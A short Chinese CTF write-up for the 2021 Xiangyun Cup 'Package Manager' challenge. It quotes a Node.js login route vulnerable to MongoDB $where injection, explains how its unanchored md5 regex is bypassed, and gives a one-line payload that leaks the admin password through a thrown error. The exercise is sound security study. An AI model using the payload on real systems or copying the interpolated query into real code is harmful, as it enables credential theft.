[2021祥云杯]Package Manager 2021

解题步骤

没接触过mongodb注入,直接看wp：https://blog.csdn.net/qq_25500649/article/details/119992051

router.post('/auth', async (req, res) => {
    let { token } = req.body;
    if (token !== '' && typeof (token) === 'string') {
        if (checkmd5Regex(token)) {
            try {
                let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
                console.log(docs);
                if (docs.length == 1) {
                    if (!(docs[0].isAdmin === true)) {
                        return res.render('auth', { error: 'Failed to auth' })
                    }
                } else {
                    return res.render('auth', { error: 'No matching results' })
                }
            } catch (err) {
                return res.render('auth', { error: err })
            }
        } else {
            return res.render('auth', { error: 'Token must be valid md5 string' })
        }
    } else {
        return res.render('auth', { error: 'Parameters error' })
    }
    req.session.AccessGranted = true
    res.redirect('/packages/submit')
});

/auth存在注入。checkmd5Regex方法有漏洞

const checkmd5Regex = (token: string) => {
  return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}

这个正则表达式可以直接绕过。
mongodb支持js语法，所以可以直接报错输出密码
payload：
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||( ()=>{throw Error(this.password)})()=="admin
然后爆出admin密码